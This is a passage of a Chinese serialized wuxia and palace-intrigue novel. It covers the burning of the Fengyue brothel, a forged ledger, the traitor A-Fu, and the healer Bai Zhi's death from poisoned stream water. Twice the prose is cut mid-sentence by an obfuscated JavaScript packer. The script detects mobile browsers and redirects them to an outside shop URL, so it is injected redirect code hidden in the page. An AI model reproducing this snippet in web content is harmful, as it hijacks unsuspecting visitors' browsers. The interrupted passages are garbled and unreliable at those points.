“我知道了。” 所有人看着她。 谢知微说:“我娘说的,不是我活着。是那本书,活着。” 她指着那本《女诫》。 “这本书,就是证据。” --- 那天晚上,谢知微一个人坐在听梅阁里。 面前放着那本《女诫》。 她翻开第一页。 “吾儿知微,读书明理,莫学为娘。” 她摸着那行字。 摸着那些被血浸透的地方。 那些血,是她娘的。 她娘用血,把那些字藏了起来。 她看了二十三年,都没发现。 直到今天。 直到皇帝把那本书扔在她面前。 她忽然笑了。 笑着笑着,眼泪流下来。 “娘,”她轻声说,“您藏了二十三年,女儿才看见。” 窗外,月亮升起来。 很圆,很亮。 照在那本书上。 照在那些血迹上。 那些血迹,在月光下,像是活的。 正在看着她。 谢知微把书合上,抱在怀里。 抱着那本书,就像抱着她娘。 “娘,”她说,“女儿知道了。” “女儿知道该怎么做了。” 远处,传来更夫的梆子声。 三更天了。 新的一天,快来了。 22. 江湖:追杀七绝 承安十一年,五月十二。 子时三刻。 风月楼。 今夜没有客人。 沈醉站在听梅阁的窗边,看着外面的夜色。 天很黑,没有月亮,没有星星。黑得像一口锅,扣在整个京城上头。 她手里端着一碗酒,却没有喝。 只是看着。 李三娘推门进来。 “老板娘,”她说,“外面不对劲。” 沈醉没有回头。 “多少人?” 李三娘愣了一下:“您……您知道了?” 沈醉说:“谢相今天让人带话来了。皇帝的暗卫,今晚动手。” 李三娘的脸色变了。 “那咱们……” 沈醉转过身,看着她。 三娘跟着她十年了。 从一个小丫头,长成风月楼的护院头领。 替她挡过刀,替她杀过人,替她守过这座楼。 “三娘,”她说,“你走吧。” 李三娘愣住了。 “老板娘,您说什么?” 沈醉说:“走。带着咱们的人,从后门走。走得越远越好。” 李三娘摇头。 “我不走。我跟了您十年,您去哪儿我去哪儿。” 沈醉笑了。 她走过去,拍了拍李三娘的肩膀。 “傻丫头,”她说,“老娘是去送死的。你跟来干什么?” 李三娘的眼泪掉下来。 “老板娘……” 沈醉说:“别哭。哭什么?老娘活了三十多年,够本了。” 她从怀里摸出一张银票,塞给李三娘。 “拿着。带着兄弟们走。找个地方,重新开始。” 李三娘握着那张银票,手在发抖。 “老板娘,那您……” 沈醉说:“我?我在这儿等着。等那些狗来。” 她顿了顿。 “对了,走之前,帮我把地窖里那几坛酒搬出来。都搬出来。” 李三娘哭着问:“干什么?” 沈醉笑了。 “请那些狗喝酒。” 李三娘走了。 带着风月楼的人,从后门消失在夜色里。 沈醉一个人站在听梅阁,把那些酒一坛一坛搬出来,摆在院子里。 一共十三坛。 都是她藏了十年的好酒。 她打开一坛,闻了闻。 香。 真香。 她仰头喝了一大口。 然后拎着酒坛,坐在院子里,等着。 等了没多久,她就听见了脚步声。 很多脚步声。 从四面八方涌来。 沈醉笑了。 “来了?”她喊,“进来坐啊!酒都备好了!” 没有人回答。 只有脚步声越来越近。 然后,她看见了火光。 不是火把。 是火箭。 无数火箭,从四面八方射进来。 落在屋顶上,落在窗子上,落在那十三坛酒上。 “轰——” 酒坛炸开,火苗窜起来,一下子烧红了半边天。 沈醉站起来,站在火光里。 那些暗卫冲进来,把她团团围住。 为首的是个黑衣人,蒙着面,只露出一双眼睛。 那双眼睛,冷得像冰。 “沈醉,”他说,“皇帝有旨,七绝祸乱天下,格杀勿论。” 沈醉看着他。 忽然笑了。 “格杀勿论?”她说,“好大的口气。” 她把手里的酒坛往地上一摔。 “来啊!老娘在这儿!” 那些暗卫冲上来。 沈醉的醉拳,在火光里舞起来。 她像一条游龙,在人群中穿梭。 一拳,一个。 一脚,一双。 打到后来,她浑身是血。 有自己的,也有敌人的。 可她还在打。 边打边笑。 “来啊!再来啊!老娘还没过瘾!” 火越烧越大。 风月楼的柱子倒了,房梁塌了,听梅阁塌了。 可她还站在院子里。 站在那些暗卫中间。 站在火光里。 忽然,她听见有人在喊。 “沈醉——” 是谢霜寒的声音。 沈醉回过头,看见谢霜寒从火光里冲出来,一剑砍翻两个暗卫。 “你怎么来了?”沈醉喊。 谢霜寒说:“来救你这个疯子!” 沈醉笑了。 “疯子?”她说,“你不疯?” 谢霜寒也笑了。 难得地笑了。 两个人背靠背,站在火光里。 谢霜寒说:“白芷她们在后面。苏锦在放火,烧他们的退路。” 沈醉说:“云娘呢?” 谢霜寒说:“阿桑背着她跑了。花解语在城楼弹琴,用琴音引开另一批人。” 沈醉点点头。 “谢相呢?” 谢霜寒说:“她去找皇帝了。带着那本书。” 沈醉愣了一下。 然后她笑了。 “好,”她说,“那咱们也干咱们的。” 两个人对视一眼。 “杀出去。” 她们杀出去了。 暗卫死了一地,火越烧越大。 风月楼,塌了。 --- 沈醉和谢霜寒杀出重围的时候,天已经快亮了。 她们浑身是血,互相搀扶着,走在废墟里。 风月楼变成了一片焦黑的废墟。 那些雕花的窗,那些红漆的柱子,那些她们喝过酒的地方,全没了。 沈醉站在那里,看着那些还在冒烟的焦木。 看了很久。 谢霜寒问:“心疼?” 沈醉想了想。 然后她笑了。 “心疼什么?”她说,“烧吧,老娘换个地方继续喝!” 谢霜寒看着她,忽然觉得,这个女人,真是疯得可以。 可疯得好。 她们在废墟里走。 走着走着,沈醉忽然停下来。 “那是什么?” 她指着废墟的某个角落。 那里有一块石板,被烧得发黑,可没有碎。 石板底下,好像压着什么东西。 谢霜寒走过去,把石板掀开。 底下是一个地窖口。 地窖门已经被火烧变形了,可里面的东西还在。 她们爬进去。 地窖不大,里面堆着一些杂物。 可在杂物中间,整整齐齐摆着七样东西。 一把剑。谢霜寒的剑。 一坛酒。沈醉的酒坛。 一个药箱。白芷的药箱。 一本账本。苏锦的账本。 一幅绣品。云娘的绣品。 一架琴。花解语的琴。 一本《女诫》。谢知微的书。 七样东西,一件不少。 沈醉愣住了。 “这是……”她说,“咱们的兵器?” 谢霜寒点点头。 “那天晚上,你让李三娘带人走的时候,她把这些东西藏进来了。” 沈醉蹲下来,摸着那些东西。 摸到她的酒坛,她笑了。 摸到谢霜寒的剑,她点点头。 摸到白芷的药箱,她眼眶红了。 摸到苏锦的账本,她想起那个狐狸一样的女人。 摸到云娘的绣品,她想起那些梅花。 摸到花解语的琴,她想起那首《广陵散》。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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七个人站在那里,看着那八个字。 没有人说话。 风吹过来,卷起地上的灰烬。 那些灰烬,在阳光下飘散。 可那八个字,刻在石头上。 永远在。 沈醉忽然说:“谢相,咱们去哪儿?” 谢知微看着远处。 远处,是京城的方向。 也是她们来的方向。 也是她们要去的地方。 “去该去的地方。”她说。 沈醉问:“什么地方?” 谢知微说:“去杀该杀的人。” 七个人,七样兵器。 她们从废墟上走下去。 走进阳光里。 身后,是烧焦的风月楼。 是那八个字。 是那些永远在的女子。 --- 那天晚上,京城里传开了一个消息。 风月楼被烧了。 可废墟上,多了八个字。 有人去看过。 回来之后,什么话都没说。 只是第二天,又有更多的人去祭拜。 去祭拜那些“不死”的女子。 去祭拜那八个字。 女子不死,世道不灭。 23. 北狄:细作现身 承安十一年,五月十五。 京城西郊,一座废弃的院子里。 七个人挤在三间破屋里,已经躲了三天。 风月楼被烧之后,皇帝的暗卫像疯了一样满城搜捕。她们不能回城,不能露面,只能躲在这荒郊野外,等风声过去。 好在白芷的医谷离这里不远,阿茴阿苓每天偷偷送吃的来。 可今天,阿茴没来。 苏锦站在窗边,看着外面的天色。 “阿茴怎么还没来?”她问。 白芷摇摇头:“不知道。可能被什么事绊住了。” 苏锦没说话。 可她心里隐隐有些不安。 说不出为什么,就是不安。 谢知微坐在角落里,翻着那本《女诫》。这几天她一直在研究那些被血浸透的书页,试图找出更多线索。 谢霜寒在院子里练剑。 沈醉躺着睡觉,打呼噜打得震天响。 云娘在绣东西,是阿桑给她找来的新布料。 花解语坐在另一扇窗边,面前摆着她的琴。 她没有弹。 只是看着苏锦。 看了很久。 苏锦察觉到她的目光,转过头。 “怎么了?” 花解语说:“苏老板,你那些账本,还在吗?” 苏锦愣了一下。 “在啊。我贴身带着。” 她从怀里摸出一本账本,晃了晃。 花解语走过去,接过账本,翻了翻。 翻着翻着,她的脸色变了。 苏锦察觉不对。 “怎么了?” 花解语抬起头,看着她。 “这是真的账本吗?” 苏锦说:“当然是真的。我这些年放贷的账本,每一笔都在上面。” 花解语说:“那你看看第二十三页。” 苏锦接过账本,翻到第二十三页。 看了一眼。 她的脸色也变了。 “这……”她说,“这不是我记的。” 花解语说:“你看出来了?” 苏锦的手在发抖。 她把账本从头翻到尾,一页一页翻。 翻完了,她抬起头,脸色白得像纸。 “这不是我的账本。”她说,“这是假的。” 屋子里所有人都看向她。 沈醉不睡了,坐起来。 谢霜寒从院子里走进来。 谢知微合上《女诫》。 云娘停下针线。 苏锦说:“我的账本,每一页右下角都有一个暗记。是我自己设计的,只有我知道。可这本——没有。” 花解语问:“那这本从哪儿来的?” 苏锦想了想。 “那天从风月楼地窖里拿出来的,就是这本。我以为是真的。” 谢知微走过来,接过账本,翻了翻。 “这字迹模仿得很像,”她说,“一般人看不出来。” 苏锦说:“一般人看不出来,可我能看出来。这不是我的字。” 谢霜寒问:“真的那本呢?” 苏锦摇摇头。 “不知道。可能还在风月楼地窖里,可能被拿走了,可能……” 她没说完。 可所有人都知道,那个可能是什么。 真的账本,落在别人手里了。 落在谁手里? 皇帝的人? 还是…… 花解语忽然问:“苏老板,你那账本上,都记着什么?” 苏锦说:“放贷的记录。谁借了钱,借了多少,还了多少,没还多少。还有……还有一些人的把柄。” 花解语说:“那些把柄,能要人命吗?” 苏锦沉默了一会儿。 然后她点点头。 “能。好几个朝廷大员,都欠我的钱。他们贪的钱,受贿的钱,卖官的钱,都在上面。要是那本账本落在皇帝手里——” 她没有说下去。 可所有人都明白。 那本账本,能让那些人死。 也能让苏锦死。 也能让她们所有人死。 谢知微问:“最后一次见到真的账本,是什么时候?” 苏锦想了想。 “风月楼被烧那天晚上。我让阿福把它和其他东西一起藏进地窖。” 谢知微说:“阿福呢?” 苏锦的脸色变了。 阿福。 她怎么把阿福忘了? 阿福跟了她十年,是她最信任的人。 可那天晚上之后,她再也没见过阿福。 “阿福……”她喃喃说,“阿福知道那本账本在哪儿。” 花解语看着她。 “你怀疑阿福?” 苏锦没有说话。 她不知道。 她不敢相信。 阿福跟了她十年。十年!从她还没发迹的时候就跟她。她被人追杀的时候,阿福替她挡过刀。她被人算计的时候,阿福替她跑过腿。她最难的时候,阿福也没离开过。 可如果不是阿福,还有谁知道那本账本藏在哪儿? 花解语忽然说:“不一定是他。” 苏锦抬起头。 花解语说:“调包账本的人,得知道两件事。一是账本藏在哪儿,二是账本长什么样。阿福知道藏在哪儿,可他不知道账本上有什么暗记。能模仿得这么像的人,一定见过真账本。” 谢知微点点头。 “花解语说得对。这人不仅知道账本在哪儿,还仔细研究过账本。甚至可能——翻过很多次。” 苏锦的手握紧。 翻过很多次。 除了她自己,还有谁翻过她的账本? 她想来想去,想不出第二个人。 谢霜寒忽然问:“那个阿福,现在在哪儿?” 苏锦说:“不知道。那天晚上之后,就没见过他。” 谢霜寒站起来。 “我去找。” 苏锦拦住她。 “等等。如果真是他,他现在肯定在皇帝的人手里。你去送死?” 谢霜寒看着她。 “那怎么办?等着?” 苏锦沉默。 花解语又开口了。 “苏老板,你那账本上,记着的最大的把柄,是谁的?” 苏锦想了想。 “刑部郎中张有德。他欠我八千两,一直没还。还有……还有他当年害死我妹妹的事。” 花解语说:“张有德。这个人,现在在哪儿?” 苏锦说:“在京城。上次我查的时候,他还在刑部当差。” 花解语站起来,走到窗边。 看着外面的天色。 天快黑了。 “谢相,”她说,“我想进城一趟。” 谢知微看着她。 “进城?去干什么?” 花解语说:“去找张有德。问问他,那本账本,有没有落到他手里。” 谢知微说:“太危险。” 花解语笑了。 “危险?”她说,“我五岁就没了娘,在教坊司待了二十年。危险算什么?” 她抱起琴。 “我扮成卖唱的,没人认得出。” 沈醉站起来。 “我跟你去。” 花解语摇摇头。 “师姐,你那张脸,满京城的人都认得。你去了,我们俩都回不来。” 沈醉还想说什么,花解语已经走到门口。 她回过头,看着她们。 “等我回来。”她说。 然后她消失在夜色里。 花解语走后,屋子里很安静。 苏锦坐在窗边,看着外面的夜色。 她想起阿福。 想起那些年,阿福跟在她身边的日子。 那时候她还年轻,刚刚开始做生意。阿福是个小混混,在街上被人打,她救了他。从那以后,他就跟着她,叫她“大小姐”。 她被人骗的时候,阿福替她去要债。 她被人追杀的时候,阿福替她挡刀。 她最难的时候,阿福也没离开过。 可如果不是他,还能是谁? 她闭上眼睛。 脑子里全是阿福的脸。 那张脸,憨憨的,笑的时候露出两颗虎牙。 她说,阿福,你笑什么? 他说,大小姐高兴,我就高兴。 这样的人,会背叛她吗? 她不知道。 她不敢想。 谢知微走过来,在她身边坐下。 “苏老板,”她说,“你信阿福吗?” 苏锦沉默了一会儿。 然后她说:“信。可我不知道,该不该信。” 谢知微点点头。 “那就等花解语回来再说。” 苏锦看着她。 “谢相,你信人吗?” 谢知微想了想。 “我信你们。”她说,“其他人,不信。” 苏锦笑了。 “我也是。” 两个时辰后,花解语回来了。 她脸色很难看。 苏锦站起来。 “怎么样?” 花解语说:“张有德死了。” 苏锦愣住了。 “死了?怎么死的?” 花解语说:“暴毙。三天前死的。就在风月楼被烧的第二天。” 苏锦的手在发抖。 三天前。 风月楼被烧的第二天。 她的账本被调包的那天晚上。 张有德死了。 这不会是巧合。 花解语继续说:“我去查了。张有德死之前,见过一个人。” 苏锦问:“谁?” 花解语看着她,一字一字说: “阿福。” 屋子里安静了。 苏锦站在那里,一动不动。 像被雷劈了一样。 阿福。 真的是阿福。 她跟了十年的阿福。 她最信任的阿福。 花解语说:“有人看见阿福从张有德家里出来,第二天张有德就死了。然后阿福就失踪了。” 苏锦慢慢坐下。 没有说话。 谢霜寒问:“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334428|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本账本呢?” 花解语摇摇头。 “不知道。张有德家里翻遍了,没有。” 谢知微说:“账本不在张有德手里。阿福把账本交给别人了。” 苏锦抬起头。 “交给谁?” 谢知微说:“交给那个真正想要账本的人。” 花解语忽然说:“还有一件事。” 所有人都看向她。 花解语说:“我回来的路上,听见有人在议论。说张有德死之前,一直在找一个人。” 苏锦问:“找谁?” 花解语说:“找一个从北狄来的人。那人叫什么,没人知道。只知道他自称‘北狄商人’,可有人说,他其实是皇帝的暗卫首领。” 苏锦愣住了。 皇帝的暗卫首领? 伪装成北狄人? 花解语说:“那个人,一直在暗中接触朝廷官员。张有德就是他的眼线之一。” 谢知微的眼睛眯起来。 “皇帝的暗卫首领,”她慢慢说,“伪装成北狄人,接触朝廷官员。他想干什么?” 花解语说:“不知道。可我知道一件事。” 她看着苏锦。 “阿福把那本账本,交给那个人了。” 苏锦的脸色白得像纸。 那本账本上,记着太多人的把柄。 不止张有德。 还有十几个朝廷大员。 那些人的名字,那些人的事,那些人的命。 都记在那本账本上。 要是落在皇帝手里…… 花解语忽然说:“不一定。” 苏锦看着她。 花解语说:“那个人是皇帝的暗卫首领。他拿了账本,为什么不直接交给皇帝?为什么要等?” 谢知微说:“因为他想自己用。” 花解语点点头。 “那些朝廷大员的把柄,在皇帝手里,只能杀人。可在他手里,能控制人。” 苏锦明白了。 “他想……控制那些人?” 花解语说:“不止。他还伪装成北狄人。这说明什么?” 谢知微说:“说明他和北狄有联系。” 屋子里又安静了。 皇帝的暗卫首领。 伪装成北狄人。 接触朝廷官员。 拿走了那本账本。 他想干什么? 谢霜寒忽然说:“还记得花解语她娘留下的密信吗?” 所有人都看向她。 谢霜寒说:“北狄将反,女科是饵。皇帝通敌。” 花解语点头。 谢霜寒说:“如果皇帝的暗卫首领和北狄有联系,那通敌的,可能不止皇帝一个人。” 谢知微的眼睛亮了。 “你是说……” 谢霜寒说:“皇帝可能只是明面上的。真正通敌的,是那个暗卫首领。” 花解语说:“那他为什么要拿账本?” 谢霜寒说:“他要控制那些朝廷大员。等北狄打进来的时候,那些人就会站在他那边。” 苏锦倒吸一口凉气。 “他想……篡位?” 谢知微摇摇头。 “不一定篡位。可能是想当摄政王,可能是想架空皇帝,可能是想……” 她没说完。 可所有人都明白了。 这是一场更大的阴谋。 比皇帝想杀她们,还要大。 花解语说:“那个人,叫什么?” 没有人知道。 可花解语说:“我会查出来的。” 她走到琴前,坐下。 开始弹琴。 《广陵散》。 曲子里藏着密语。 那些密语说的是:暗卫首领,北狄细作,账本被夺,速查此人。 琴音在夜风里飘出去。 飘到京城。 飘到那些该听见的人耳朵里。 苏锦站在窗边,看着那夜色。 她想起阿福。 想起那张憨憨的脸。 想起他说:“大小姐高兴,我就高兴。” 她的眼泪掉下来。 “阿福,”她轻声说,“为什么?” 没有人回答。 只有琴音,在夜色里飘荡。 花解语弹完一曲,站起来。 走到苏锦身边。 “苏老板,”她说,“那个人,我会找出来的。” 苏锦看着她。 花解语说:“用我娘的密语。用我的琴。用我的命。” 苏锦握住她的手。 “谢谢你。” 花解语摇摇头。 “谢什么?”她说,“咱们是一条船上的。” 窗外,天快亮了。 新的一天,又要来了。 可这一天,会发生什么? 没有人知道。 她们只知道,那个真正的细作,还藏在暗处。 那个人,拿着苏锦的账本。 那个人,伪装成北狄人。 那个人,是皇帝的暗卫首领。 那个人—— 到底是谁? 24. 牺牲:白芷中毒 承安十一年,五月十八。 京城西郊,三十里外。 一座废弃的山神庙里,挤着两百多人。 都是女学子。 三天前,皇帝的暗卫开始大规模搜捕。那些刚刚考完殿试的女学子,成了他们首要的目标。 谢知微让沈醉和谢霜寒连夜进城,能救多少救多少。 她们救了三百多个。 一路跑,一路躲,跑到了这山神庙里。 可路上死了几十个。 被暗卫追上,杀了。 剩下的人,又累又饿,挤在山神庙里,等着天亮。 可天亮之前,还有一件事要面对。 有人病了。 很多人病了。 山路难走,夜里又冷,她们跑了三天三夜,有人发了烧,有人咳了血,有人晕过去就没醒过来。 白芷从昨天开始就没合过眼。 她一个一个看过去,把脉,开方,让阿茴和阿苓去采药。 可药不够。 这荒山野岭的,能采的药有限。带来的药也用完了。 苏锦跟在她身边,帮她打下手。 递药,递水,递布。 白芷忙得满头是汗,脸上却一直带着笑。 “没事的,”她对那些姑娘说,“吃点药就好了。” 可苏锦看得出来。 她的脸色越来越白。 从鹰愁涧回来之后,她的身体就没好过。禁术折了十年寿,这些年又连轴转,她早就撑不住了。 “白芷,”苏锦说,“你歇会儿。” 白芷摇摇头。 “再等等,”她说,“看完这几个就歇。” 她又看了三个。 看完第四个,她站起来,忽然晃了一下。 苏锦扶住她。 “你不能再这样了!” 白芷看着她,笑了笑。 “没事,”她说,“我自己的身子,我知道。” 她走到下一个姑娘身边。 那姑娘烧得厉害,脸通红,嘴唇干裂。 白芷把脉,眉头皱起来。 “这不对……”她喃喃说,“这不是普通的伤寒。” 苏锦问:“那是什么?” 白芷没有回答。 她凑近那姑娘的嘴边,闻了闻。 又翻开她的眼皮,看了看。 然后她的脸色变了。 “毒。”她说,“她中毒了。” 苏锦愣住了。 “中毒?怎么会中毒?” 白芷站起来,看着周围那些姑娘。 一个一个看过去。 “你们今天吃了什么?喝了什么?” 有人回答:“就喝了点山泉水。” 白芷问:“从哪里打的水?” 那人指了个方向。 白芷跑出去。 山神庙后面,有一条小溪。 溪水很清,潺潺地流着。 白芷蹲下来,看着那溪水。 溪边的草丛里,长着几株不起眼的野草。 叶子上有细细的白毛。 白芷的脸色彻底白了。 “断肠草……”她喃喃说,“这是断肠草。” 苏锦跟过来,问:“什么?” 白芷说:“断肠草。毒草。它的根茎叶都有毒,尤其是开花的时候。现在正是五月,它开花了。” 她指着那几株草。 “它们长在溪边,根扎在水里。整条溪的水,都被污染了。” 苏锦的脸也白了。 “那……那些姑娘……” 白芷站起来。 “去告诉她们,别喝了。已经喝了的——” 她没有说下去。 可苏锦知道。 已经喝了的,中毒了。 白芷跑回去,开始一个个检查。 喝过溪水的人,有三十二个。 有的喝得多,有的喝得少。 白芷让阿茴阿苓去采药——解毒的药。 可她知道,来不及了。 断肠草的毒,发作很快。 最多三个时辰,就会死。 她把那三十二个姑娘集中在一起,给她们灌药。 一边灌,一边说:“没事的,没事的,吃点药就好了。” 可她的手在发抖。 因为她知道,这些药,救不了她们。 只能拖时间。 拖到能找到真正的解药。 可真正的解药,需要一味主药——龙胆草。 这山上,没有龙胆草。 最近的药铺,在山下三十里外的镇上。 可那里有暗卫。 她不能去。 她让阿茴和阿苓去。 “快去快回,”她说,“一定要快。” 阿茴和阿苓跑了。 白芷守着那三十二个姑娘,看着她们的脸越来越红,呼吸越来越急。 她的心,像被刀割一样。 一个十四五岁的小姑娘,拉着她的手。 “白大夫,我会死吗?” 白芷摇摇头。 “不会的。阿茴她们去采药了,很快就回来。” 小姑娘点点头。 可她的眼睛,已经有些涣散了。 白芷握着她的手,握得紧紧的。 一个时辰过去。 两个时辰过去。 阿茴和阿苓还没回来。 已经有三个姑娘,停止了呼吸。 白芷跪在她们身边,看着她们的脸。 那么年轻的脸。 十四五岁,十五六岁。 刚考完殿试,刚走出那条路的第一步。 就死在这里。 死在断肠草的毒里。 死在—— 她的眼泪掉下来。 不是哭,是恨。 恨自己救不了她们。 恨自己学艺不精。 恨自己为什么没有早点发现那些毒草。 苏锦走过来,跪在她身边。 “白芷,”她说,“不是你的错。” 白芷摇摇头。 “是我的错。”她说,“我是大夫。我应该发现的。” 苏锦抱住她。 “你是大夫,不是神仙。你救不了所有人。” 白芷靠在她肩上,没有说话。 第三十二个姑娘,死在她怀里。 那姑娘只有十四岁,叫阿月。 她临死前,拉着白芷的手,说:“白大夫,我……我想考女状元……” 然后她的手,垂了下去。 白芷抱着她,一动不动。 苏锦在旁边,哭得说不出话。 谢知微走进来,看见这一幕。 她站在那里,没有说话。 只是看着白芷。 看着那个从死人堆里爬出来的女人。 那个用禁术救了谢霜寒的女人。 那个救了无数人、却救不了自己的女人。 白芷把阿月放下,站起来。 她的脸上没有泪。 只是很白。 白得像纸。 她走到谢知微面前。 “谢相,”她说,“那些姑娘,死了三十二个。” 谢知微点点头。 “我知道。” 白芷说:“是因为我。我没发现那些毒草。” 谢知微摇摇头。 “不是因为妳。是因为我们。是我们把她们带到这里来的。” 白芷看着她。 谢知微说:“我们以为救了她们,可我们还是没能救得了。” 白芷沉默了一会儿。 然后她说:“谢相,我有个请求。” 谢知微说:“你说。” 白芷说:“女科,一定要成。哪怕我死了,也要成。” 谢知微看着她。 白芷说:“那些姑娘,她们是为了这条路死的。我也是。我爹也是。我娘也是。我弟弟妹妹也是。” 她的声音很平静。 平静得像在说别人的事。 “我学了二十年医。救过很多人。可我没能救得了她们。” 她顿了顿。 “所以妳得替我救。救更多的人。让这条路,走下去。” 谢知微握住她的手。 “好。”她说,“我答应妳。” 白芷笑了。 笑得很轻,很淡。 然后她转过身,走到那些死去的姑娘身边。 一个一个,把她们的眼睛合上。 “阿月,”她轻声说,“妳等着。那条路,会有人替妳走完的。” 苏锦走过来,站在她身边。 “白芷,”她说,“你脸色不好。歇会儿吧。” 白芷摇摇头。 “没事,”她说,“我自己的身子,我知道。” 她又去照顾那些还活着的姑娘。 那些中毒轻的,还能救的。 一直忙到天黑。 天黑的时候,阿茴和阿苓回来了。 她们跑了三十里山路,从镇上药铺买来了龙胆草。 可她们回来的时候,白芷已经不行了。 她倒在那三十二个姑娘旁边。 脸色白得像纸。 嘴唇发青。 苏锦跪在她身边,抱着她。 “白芷!白芷!” 白芷睁开眼睛,看着她。 “苏锦……”她的声音很轻,轻得像风。 苏锦哭着说:“你怎么了?你刚才还好好的!” 白芷笑了。 “我刚才……去看那些毒草……不小心碰到了……” 苏锦愣住了。 “你……你碰了断肠草?” 白芷点点头。 “我想看看……有没有别的办法……结果……” 她没有说完。 可苏锦明白了。 她去看那些毒草,想找出更多的解毒办法。 结果自己也中了毒。 而且,她的身子本来就弱。 禁术折了十年寿,这些年又没好好休息。 这点毒,别人可能扛过去。 可她扛不过去。 “你这个蠢女人!”苏锦哭着喊,“你为什么要去碰那些东西!” 白芷看着她。 “因为……”她说,“因为我得救她们……” 苏锦抱着她,哭得喘不过气。 白芷抬起手,摸了摸她的脸。 “苏锦,”她说,“别哭了。我早就知道……会有这一天的。” 苏锦摇头。 “不!你不会死的!我让阿茴阿苓再去采药!我去找大夫!” 白芷笑了。 “傻丫头,”她说,“我自己就是大夫。” 苏锦愣住了。 是啊。 她自己就是大夫。 她知道自己的命,还有多久。 白芷说:“苏锦,我跟你说过的话,你还记得吗?” 苏锦哭着点头。 白芷说:“我说过,下辈子,还让你骂。” 苏锦点点头。 白芷笑了。 “那这辈子,你就骂够了。下辈子,换个新的骂法。” 苏锦趴在她身上,哭得说不出话。 谢知微走过来。 她蹲下来,看着白芷。 白芷也看着她。 “谢相,”白芷说,“女科……要成……哪怕我死……” 谢知微握着她的手。 “会的。”她说,“一定会成的。” 白芷点点头。 她又看着那些还活着的姑娘。 看着那些她救回来的人。 看着阿茴,看着阿苓。 阿茴和阿苓跪在她身边,哭成泪人。< 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最后,她又看着谢知微。 “谢相,”她说,“我留下的医书……在医谷……你帮我……交给那些学医的女子……” 谢知微点头。 “会的。一定会的。” 白芷笑了。 “那就好……” 她的手,慢慢垂下去。 眼睛,慢慢闭上。 脸上,还带着笑。 苏锦抱着她,一动不动。 像抱着这世上最珍贵的东西。 谢知微站起来,走到一边。 她没有哭。 只是站在那里,看着外面的夜色。 夜色很深。 很黑。 可她知道,天亮之后,一切都会不一样。 因为白芷不在了。 可她的路,还在。 那些姑娘,会替她走下去。 那些医书,会替她传下去。 那条路,会替她铺下去。 天亮的时候,阿茴和阿苓把白芷埋在山神庙后面。 没有碑。 只有一棵小树。 苏锦在那棵小树旁边,放了一样东西。 是那支银簪。 她妹妹苏绣的遗物。 “白芷,”她轻声说,“你替我照顾绣儿。她小,不懂事。你多教教她。” 风吹过来,树枝摇了摇。 像是有人在点头。 苏锦笑了。 笑着笑着,眼泪流下来。 可她没有哭出声。 只是站在那里,看着那棵小树。 看了很久。 很久。 --- 一个月后。 京城,城东。 新开的医馆,叫“白芷堂”。 是阿茴和阿苓开的。 门口挂着一块匾,是云娘绣的。 绣的是梅花。 一朵白梅。 医馆里,最显眼的地方,供着一本书。 《白氏医典》。 是白芷留下的医书。 每天都有女医师来拜。 她们说,这是“医中圣典”。 是那个用命救人的女人,留给她们的。 书的扉页上,写着一行字: “女子学医,自救救人。吾虽死,医道不灭。” 落款是:白芷。 来拜的人,看着那行字,都会站一会儿。 没有人说话。 可她们心里,都记着一个人。 一个叫白芷的女人。 一个用十年命换别人活的女人。 一个死在救人的路上的女人。 一个让她们走上这条路的女人。 医馆后院,有一棵小树。 没有人知道那是什么树。 只知道阿茴和阿苓每天都要去浇水。 有时候,苏锦会来。 她来了,就站在那棵小树旁边,不说话。 站一会儿,就走了。 有时候,谢霜寒会来。 她也站在那里,不说话。 可她的手,一直按着剑柄。 像是在说:你放心,该杀的人,我一个都不会放过。 有时候,沈醉会来。 她拎着一坛酒,倒一半在那棵小树旁边,自己喝一半。 “白芷,”她说,“这酒,敬你。” 有时候,云娘会来。 她看不见那棵小树,可她摸得到。 她摸着那些树叶,轻轻说:“白芷,梅花开了。” 有时候,花解语会来。 她抱着琴,坐在那棵小树旁边,弹一曲《广陵散》。 弹完,她站起来,说:“白芷,你听见了吗?” 没有人回答。 可风吹过来,树叶沙沙响。 像是有人在说:听见了。 谢知微最后一次来的时候,是一个人。 她站在那棵小树旁边,站了很久。 然后她从怀里摸出一样东西。 是白芷的那本医书。 扉页上那行字,她已经看过很多遍。 可每次看,还是觉得刺眼。 “吾虽死,医道不灭。” 她轻声念了一遍。 然后把医书合上,放回怀里。 抬起头,看着那棵小树。 “白芷,”她说,“女科成了。” 风吹过来,树叶沙沙响。 像是在笑。 25. 背叛:苏锦的账本 承安十一年,五月二十。 京城,刑部大牢。 苏锦醒过来的时候,眼前一片漆黑。 她不知道自己昏了多久。只记得那些人冲进来的时候,她正在山神庙后面,站在白芷的坟前。 那棵小树还在。她刚浇过水。 然后马蹄声就响了。 很多人。很多马。 她还没反应过来,就被按在地上。有人用刀架在她脖子上,有人用绳子捆住她的手。 她听见谢霜寒的喊声,听见沈醉的骂声,听见花解语的琴音。 然后一棍子砸在她后脑勺上。 她就什么都不知道了。 现在她醒了。 浑身疼。后脑勺疼,手腕疼,膝盖疼。疼得像被人拆了一遍又装回去。 她试着动了动手。手被反绑着,绑得很紧,绳子勒进肉里。 她试着动了动脚。脚上戴着镣铐,铁链子拖在地上,哗啦啦响。 她睁开眼睛,适应了黑暗之后,慢慢看清了周围。 一间很小的牢房。三面是墙,一面是木栅栏。墙角堆着一团烂草,散发着臭味。地上湿漉漉的,不知道是水还是别的什么。 她靠墙坐着,浑身是泥,头发散乱,脸上有血。 可她笑了。 笑得很冷。 “苏锦啊苏锦,”她轻声说,“你也有今天。” 远处传来脚步声。 有人来了。 苏锦抬起头,看着木栅栏的方向。 